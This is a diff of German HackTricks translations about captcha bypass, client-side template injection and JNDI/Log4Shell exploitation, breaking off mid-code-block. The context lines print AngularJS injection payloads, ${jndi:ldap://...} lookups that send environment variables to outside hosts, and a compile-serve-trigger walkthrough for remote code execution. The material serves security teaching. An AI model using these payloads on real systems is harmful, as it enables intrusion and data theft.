||||
* **Mathematische Captchas**: Wenn das Captcha mathematische Operationen umfasst, automatisieren Sie den Berechnungsprozess.
|
||||
* **Bilderkennung**:
|
||||
* Für Captchas, die das Lesen von Zeichen aus einem Bild erfordern, bestimmen Sie manuell oder programmgesteuert die Gesamtzahl der einzigartigen Bilder. Wenn die Menge begrenzt ist, können Sie jedes Bild möglicherweise anhand seines MD5-Hashes identifizieren.
|
||||
* Bei Captchas, die das Lesen von Zeichen aus einem Bild erfordern, bestimmen Sie manuell oder programmgesteuert die Gesamtzahl der einzigartigen Bilder. Wenn die Menge begrenzt ist, können Sie jedes Bild möglicherweise anhand seines MD5-Hashes identifizieren.
|
||||
* Verwenden Sie optische Zeichenerkennung (OCR)-Tools wie [Tesseract OCR](https://github.com/tesseract-ocr/tesseract), um das Lesen von Zeichen aus Bildern zu automatisieren.
|
||||
|
||||
4. **Zusätzliche Techniken**:
|
||||
|
@ -42,11 +42,9 @@ Um das **Captcha** während des **Servertests** zu **umgehen** und Benutzerinter
|
|||
* **User-Agent- und Header-Manipulation**: Ändern Sie den User-Agent und andere Anfrage-Header, um verschiedene Browser oder Geräte zu imitieren.
|
||||
* **Audio-Captcha-Analyse**: Wenn eine Audio-Captcha-Option verfügbar ist, verwenden Sie Sprach-zu-Text-Dienste, um das Captcha zu interpretieren und zu lösen.
|
||||
|
||||
|
||||
## Online-Dienste zur Lösung von Captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Der automatische Captcha-Löser von Capsolver bietet eine **preiswerte und schnelle Lösung zur Captcha-Lösung**. Sie können ihn schnell mit Ihrem Programm kombinieren, indem Sie die einfache Integrationsoption nutzen, um in wenigen Sekunden die besten Ergebnisse zu erzielen. Er kann reCAPTCHA V2 und V3, hCaptcha, FunCaptcha, datadome, aws captcha, bild-zu-text, binance / coinmarketcap captcha, geetest v3 und mehr lösen. Dies ist jedoch kein Umgehen per se.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,45 +1,32 @@
|
|||
# Client Side Template Injection (CSTI)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Zusammenfassung
|
||||
|
||||
Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/), aber im **Client**. Die **SSTI** kann es dir ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es dir ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
|
||||
Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/), aber im **Client**. Die **SSTI** kann es Ihnen ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es Ihnen ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
|
||||
|
||||
**Das Testen** auf diese Schwachstelle ist sehr **ähnlich** wie im Fall von **SSTI**, der Interpreter erwartet **eine Vorlage** und wird sie ausführen. Zum Beispiel, mit einem Payload wie `{{ 7-7 }}`, wenn die App **anfällig** ist, wirst du eine `0` sehen, und wenn nicht, wirst du das Original sehen: `{{ 7-7 }}`
|
||||
**Das Testen** auf diese Schwachstelle ist sehr **ähnlich** wie im Fall von **SSTI**, der Interpreter erwartet **eine Vorlage** und wird sie ausführen. Zum Beispiel, mit einer Payload wie `{{ 7-7 }}`, wenn die App **anfällig** ist, sehen Sie eine `0`, und wenn nicht, sehen Sie das Original: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS ist ein weit verbreitetes JavaScript-Framework, das über Attribute, die als Direktiven bekannt sind, mit HTML interagiert, wobei eine bemerkenswerte **`ng-app`** ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten, wodurch die Ausführung von JavaScript-Ausdrücken innerhalb doppelter geschweifter Klammern ermöglicht wird.
|
||||
|
||||
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit `ng-app` gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Im Folgenden sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
|
||||
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit `ng-app` gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Nachfolgend sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
|
@ -102,29 +89,19 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,35 +10,27 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdienst, der es Java-Programmen ermöglicht, Daten oder Objekte über ein Namenssystem zu finden. Es unterstützt verschiedene Verzeichnisdienste über Dienstanbieter-Schnittstellen (SPIs), die den Datenabruf aus verschiedenen Systemen, einschließlich remote Java-Objekten, ermöglichen. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.
|
||||
JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdienst, der es Java-Programmen ermöglicht, Daten oder Objekte über ein Benennungssystem zu lokalisieren. Es unterstützt verschiedene Verzeichnisdienste über Dienstanbieter-Schnittstellen (SPIs), die den Datenabruf aus verschiedenen Systemen, einschließlich remote Java-Objekten, ermöglichen. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.
|
||||
|
||||
### JNDI Namensreferenz
|
||||
### JNDI-Namensreferenz
|
||||
|
||||
Java-Objekte können mithilfe von JNDI Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
|
||||
Java-Objekte können mithilfe von JNDI-Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
|
||||
|
||||
* **Referenzadressen**: Gibt den Standort eines Objekts an (z. B. _rmi://server/ref_), was eine direkte Abholung von der angegebenen Adresse ermöglicht.
|
||||
* **Remote Factory**: Verweist auf eine Remote-Fabrikklasse. Bei Zugriff wird die Klasse von der Remote-Location heruntergeladen und instanziiert.
|
||||
* **Remote-Fabrik**: Verweist auf eine Remote-Fabrik-Klasse. Bei Zugriff wird die Klasse von dem Remote-Standort heruntergeladen und instanziiert.
|
||||
|
||||
Dieses Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen von beliebigem Code führen kann. Als Gegenmaßnahme:
|
||||
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Security Manager schränkt weiter ein, was geladen werden kann.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standardmäßig ab JDK 6u141, 7u131, 8u121, blockiert die Ausführung von remote geladenen Java-Objekten. Wenn auf `true` gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Security Managers möglich.
|
||||
* **CORBA**: Hat keine spezifische Eigenschaft, aber der Security Manager ist immer aktiv.
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Sicherheitsmanager schränkt weiter ein, was geladen werden kann.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standardmäßig ab JDK 6u141, 7u131, 8u121, was die Ausführung von remote geladenen Java-Objekten blockiert. Wenn auf `true` gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Sicherheitsmanagers möglich.
|
||||
* **CORBA**: Hat keine spezifische Eigenschaft, aber der Sicherheitsmanager ist immer aktiv.
|
||||
|
||||
Der **Naming Manager**, der für die Auflösung von JNDI-Links verantwortlich ist, verfügt jedoch nicht über integrierte Sicherheitsmechanismen, was potenziell das Abrufen von Objekten aus beliebigen Quellen ermöglicht. Dies stellt ein Risiko dar, da RMI-, LDAP- und CORBA-Schutzmaßnahmen umgangen werden können, was zum Laden beliebiger Java-Objekte oder zur Ausnutzung vorhandener Anwendungsbestandteile (Gadgets) zur Ausführung von schädlichem Code führen kann.
|
||||
|
||||
|
@ -50,13 +42,13 @@ Beispiele für ausnutzbare URLs sind:
|
|||
|
||||
Trotz der Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgrund des Fehlens von Sicherheitsvorkehrungen gegen das Laden von JNDI aus nicht vertrauenswürdigen Quellen und der Möglichkeit, bestehende Schutzmaßnahmen zu umgehen.
|
||||
|
||||
### JNDI Beispiel
|
||||
### JNDI-Beispiel
|
||||
|
||||
![](<../../.gitbook/assets/image (1022).png>)
|
||||
|
||||
Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie eine andere in einem Lookup angeben, und sie wird abgerufen: `ctx.lookup("<attacker-controlled-url>")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
|
||||
Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie in einem Lookup eine andere angeben, und sie wird abgerufen: `ctx.lookup("<attacker-controlled-url>")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
|
||||
|
||||
### CORBA Übersicht
|
||||
### CORBA-Übersicht
|
||||
|
||||
CORBA (Common Object Request Broker Architecture) verwendet eine **Interoperable Object Reference (IOR)**, um remote Objekte eindeutig zu identifizieren. Diese Referenz enthält wesentliche Informationen wie:
|
||||
|
||||
|
@ -65,16 +57,16 @@ CORBA (Common Object Request Broker Architecture) verwendet eine **Interoperable
|
|||
|
||||
Es ist erwähnenswert, dass CORBA nicht von Natur aus anfällig ist. Die Gewährleistung der Sicherheit umfasst typischerweise:
|
||||
|
||||
* Installation eines **Security Managers**.
|
||||
* Konfiguration des Security Managers, um Verbindungen zu potenziell schädlichen Codebasen zuzulassen. Dies kann erreicht werden durch:
|
||||
* Installation eines **Sicherheitsmanagers**.
|
||||
* Konfiguration des Sicherheitsmanagers, um Verbindungen zu potenziell schädlichen Codebasen zuzulassen. Dies kann erreicht werden durch:
|
||||
* Socket-Berechtigung, z. B. `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Dateileseberechtigungen, entweder universell (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) oder für bestimmte Verzeichnisse, in denen schädliche Dateien platziert werden könnten.
|
||||
|
||||
Einige Richtlinien von Anbietern könnten jedoch nachsichtig sein und diese Verbindungen standardmäßig zulassen.
|
||||
|
||||
### RMI Kontext
|
||||
### RMI-Kontext
|
||||
|
||||
Für RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man typischerweise den Security Manager umgehen, was auch bei CORBA relevant ist.
|
||||
Für RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man typischerweise den Sicherheitsmanager umgehen, was auch bei CORBA relevant ist.
|
||||
|
||||
### LDAP
|
||||
|
||||
|
@ -85,9 +77,9 @@ Ein **Lookup** ist für **Namensdienste** gedacht, da wir **alles abrufen möcht
|
|||
Wenn die LDAP-Suche mit **SearchControls.setReturningObjFlag() mit `true` aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert**.
|
||||
|
||||
Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen.\
|
||||
Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen, die sie sammeln, ausgeführt werden (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
|
||||
Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
|
||||
|
||||
Falls Sie **eine App dazu bringen können, eine JNDI LDAP URL aufzulösen**, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
|
||||
Falls Sie **eine App dazu bringen können, eine JNDI LDAP-URL aufzulösen**, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
|
||||
|
||||
#### Deserialisierungs-Exploit
|
||||
|
||||
|
@ -96,27 +88,27 @@ Falls Sie **eine App dazu bringen können, eine JNDI LDAP URL aufzulösen**, kö
|
|||
Der **Exploit ist serialisiert** und wird deserialisiert.\
|
||||
Falls `trustURLCodebase` auf `true` gesetzt ist, kann ein Angreifer seine eigenen Klassen in der Codebase bereitstellen, andernfalls muss er Gadgets im Classpath ausnutzen.
|
||||
|
||||
#### JNDI Referenz-Exploit
|
||||
#### JNDI-Referenz-Exploit
|
||||
|
||||
Es ist einfacher, diesen LDAP mit **JavaFactory-Referenzen** anzugreifen:
|
||||
|
||||
![](<../../.gitbook/assets/image (1059).png>)
|
||||
|
||||
## Log4Shell Schwachstelle
|
||||
## Log4Shell-Schwachstelle
|
||||
|
||||
Die Schwachstelle wird in Log4j eingeführt, da es eine [**besondere Syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in der Form `${prefix:name}` unterstützt, wobei `prefix` einer von mehreren verschiedenen [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ist, die `name` ausgewertet werden soll. Zum Beispiel ist `${java:version}` die aktuell laufende Version von Java.
|
||||
Die Schwachstelle wird in Log4j eingeführt, da es eine [**spezielle Syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in der Form `${prefix:name}` unterstützt, wobei `prefix` einer von mehreren verschiedenen [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ist, die `name` ausgewertet werden soll. Zum Beispiel ist `${java:version}` die aktuell laufende Version von Java.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) führte eine `jndi` Lookup-Funktion ein. Diese Funktion ermöglicht den Abruf von Variablen über JNDI. Typischerweise wird der Schlüssel automatisch mit `java:comp/env/` vorangestellt. Wenn der Schlüssel selbst jedoch ein **":"** enthält, wird dieses Standardpräfix nicht angewendet.
|
||||
|
||||
Mit einem **: im Schlüssel**, wie in `${jndi:ldap://example.com/a}`, gibt es **kein Präfix** und der **LDAP-Server wird nach dem Objekt abgefragt**. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
|
||||
|
||||
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden**. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr üblich, dass log4j beispielsweise HTTP-Header wie den User-Agent protokolliert. Log4j wird jedoch **nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben** und Daten, die der Entwickler angegeben hat.
|
||||
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden**. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr häufig, dass log4j beispielsweise HTTP-Header wie den User-Agent protokollierte. Log4j wird jedoch **nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben** und Daten, die der Entwickler angegeben hat.
|
||||
|
||||
## Übersicht über Log4Shell-bezogene CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritisch]**
|
||||
|
||||
Diese Schwachstelle ist ein kritischer **untrusted deserialization flaw** im `log4j-core`-Komponenten, die Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der erste Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
Diese Schwachstelle ist ein kritischer **untrusted deserialization flaw** im `log4j-core`-Komponenten, die Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der ursprüngliche Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritisch]**
|
||||
|
||||
|
@ -138,7 +130,7 @@ Log4j 2.16.0 enthält einen DoS-Fehler, was zur Veröffentlichung von `log4j 2.1
|
|||
|
||||
Diese Schwachstelle betrifft log4j Version 2.17 und erfordert, dass der Angreifer die Konfigurationsdatei von log4j kontrolliert. Sie beinhaltet potenzielle beliebige Codeausführung über einen konfigurierten JDBCAppender. Weitere Details sind im [Checkmarx-Blogbeitrag](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) verfügbar.
|
||||
|
||||
## Log4Shell Ausnutzung
|
||||
## Log4Shell-Ausnutzung
|
||||
|
||||
### Entdeckung
|
||||
|
||||
|
@ -150,7 +142,7 @@ Diese Schwachstelle ist sehr einfach zu entdecken, wenn sie ungeschützt ist, da
|
|||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (unter Verwendung von [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (unter Verwendung von [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Beachten Sie, dass **selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar** (oder sogar anfällig) ist, Sie müssen versuchen, sie auszunutzen.
|
||||
Beachten Sie, dass **selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar** (oder sogar anfällig) ist; Sie müssen versuchen, sie auszunutzen.
|
||||
|
||||
{% hint style="info" %}
|
||||
Denken Sie daran, dass Sie zur **Ausnutzung von Version 2.15** die **localhost-Überprüfung umgehen** müssen: ${jndi:ldap://**127.0.0.1#**...}
|
||||
|
@ -227,7 +219,7 @@ Any other env variable name that could store sensitive information
|
|||
### RCE Informationen
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriff abgesichert. Dies liegt an der standardmäßigen Deaktivierung von `com.sun.jndi.ldap.object.trustURLCodebase`, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen **nicht gegen den Deserialisierungsangriffsvektor geschützt sind**.
|
||||
Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von `com.sun.jndi.ldap.object.trustURLCodebase`, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen **nicht gegen den Deserialisierungsangriffsvektor geschützt sind**.
|
||||
|
||||
Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein **vertrauenswürdiges Gadget** innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen niedrigerer JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
|
||||
|
||||
|
@ -254,9 +246,9 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
Kompiliere die Java-Datei in eine Klassendatei mit: `javac Exploit.java -source 8 -target 8`. Starte als Nächstes einen **HTTP-Server** im Verzeichnis, das die Klassendatei enthält, mit: `python3 -m http.server`. Stelle sicher, dass der **marshalsec LDAP-Server** auf diesen HTTP-Server verweist.
|
||||
Kompilieren Sie die Java-Datei in eine Klassendatei mit: `javac Exploit.java -source 8 -target 8`. Starten Sie dann einen **HTTP-Server** im Verzeichnis, das die Klassendatei enthält, mit: `python3 -m http.server`. Stellen Sie sicher, dass der **marshalsec LDAP-Server** auf diesen HTTP-Server verweist.
|
||||
|
||||
Trigger die Ausführung der Exploit-Klasse auf dem anfälligen Webserver, indem du eine Payload versendest, die aussieht wie:
|
||||
Lösen Sie die Ausführung der Exploit-Klasse auf dem anfälligen Webserver aus, indem Sie eine Payload senden, die wie folgt aussieht:
|
||||
```bash
|
||||
